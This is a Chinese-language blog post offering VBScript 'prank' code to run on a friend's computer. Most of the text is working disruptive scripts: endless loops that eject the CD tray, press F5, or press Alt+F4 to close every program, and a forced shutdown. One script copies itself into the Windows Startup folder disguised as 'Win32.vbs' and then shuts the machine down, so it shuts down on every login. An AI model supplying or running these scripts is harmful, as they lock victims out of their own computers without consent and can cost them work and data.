首页
/
每日頭條
/
科技
/
好玩的vbs代碼
好玩的vbs代碼
更新时间:2024-07-26 11:10:49

大家好!我是蒙面科技,第一次開通頭條号,給大家分享一個電腦整蠱代碼,實現起來特别簡單,隻用到電腦上的記事本即可。

大神勿噴·簡單教程,好了話不多說,開整!

第一步:

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)1

咱們先在自己電腦桌面新建一個TXT文本文檔即可

第二步:

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)2

輸入msgbox "一大波病毒正在靠近" 點擊文件->另存為->重命名為“新建文本文檔.vbs

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)3

雙擊“新建文本文檔.vbs”這個時候就會彈出一個對話框了

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)4

當然你還可以右鍵編輯裡面添加更多你想讓他彈出來的文字

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)5

雙擊打開。此時,會彈出提示對話框,點擊确定和關閉按鈕之後,再一次彈出窗口,如此循環,無法正常關閉。

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)6

那麼到底要如何才能關閉呢?打開任務管理器結束進程“wscript.exe”即可

到此新手教學完畢,下面進入大神課堂教學。

無限彈出光驅:

------------------------------------------------

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

------------------------------------------------

無盡語音報數:

無限語音從1數到無限大。

------------------------------------------------

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i 1

loop

------------------------------------------------

無盡刷新:

慎用,如此刷新打開任務管理器都難,隻能拔掉電源。

------------------------------------------------

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

------------------------------------------------

修改注冊表:

------------------------------------------------

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")

if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true

ws.run"shutdown -p",vbhide

------------------------------------------------

直接關機:

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

------------------------------------------------

不斷按下alt f4 :

打開任何程序都關掉

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

do

wscript.sleep 2500

WSHshell.SendKeys "%{F4}"

loop

------------------------------------------------

開玩笑也得有個度,凡事都不要太過。上面的代碼的尺度還不算很大,大家可以玩玩。

如你覺得蒙面科技寫的不錯,可以給蒙面科技一點小小的支持點個贊評論一下哦,如果你也喜歡計算機網絡技巧,可以點擊關注哦!

,
Comments
Welcome to tft每日頭條 comments! Please keep conversations courteous and on-topic. To fosterproductive and respectful conversations, you may see comments from our Community Managers.
Sign up to post
Sort by
Show More Comments
推荐阅读
制作電腦辦公桌
制作電腦辦公桌
近幾年受到疫情的影響,很多人隻能居家辦公了。經常居家辦公,對辦公區域的要求也多了起來。即使是在家辦公,我們也總是會尋找最舒适的方式,來讓自己放松,有自己一個人的空間,也會更加能專注到要做的事情上面去,所以決定搭建一個能讓工作效率翻倍的辦公環...
2024-07-26
電腦按f11進入一鍵還原系統
電腦按f11進入一鍵還原系統
電腦按f11進入一鍵還原系統?電腦一鍵重裝系統,那個制怎麼樣來制作這個u盤的系統儲能系統的一個u盤啟動盤,首先,我們在百度裡邊搜索,下面我們就來說一說關于電腦按f11進入一鍵還原系統?我們一起去了解并探讨一下這個問題吧!電腦按f11進入一鍵...
2024-07-26
小米mix4對标什麼手機
小米mix4對标什麼手機
小米mix4對标什麼手機?作為消費者,我們在購買産品的時候,往往會去考慮産品的口碑怎麼樣?品牌實力怎麼樣而那些喜歡玩大型手遊的用戶,往往會去關注數碼産品的性能,因為産品更新換代的速度非常快,所以某些性能榜單也會不定時的進行更新這不,近日安兔...
2024-07-26
卡利亞不鏽鋼櫥櫃推薦
卡利亞不鏽鋼櫥櫃推薦
這套櫥櫃是西安的一位客戶定制的,采用全304不鏽鋼材質。廚房面積較大,所以設計了長U字型中島台形式。整套櫥櫃的顔色是客戶自己額外定制的全新色系,有點朱砂紅的感覺。整套櫥櫃都采用了免把手的設計,更加簡約。我們可以看到其中一側設計的是聯排的不鏽...
2024-07-26
聯想筆記本取消f1-f12功能鍵
聯想筆記本取消f1-f12功能鍵
公司發了新的電腦,是聯想的,但鍵盤是如下的布局:在使用f1-f12時,必須同時按fn鍵,對程序員來說,實在太麻煩了,而且f1-f12鍵也是經常用的鍵,特别代碼編譯的時候,甚至xshell當中複雜、粘貼時,也用到上面的insert鍵,也得必須...
2024-07-26
Copyright 2023-2024 - www.tftnews.com All Rights Reserved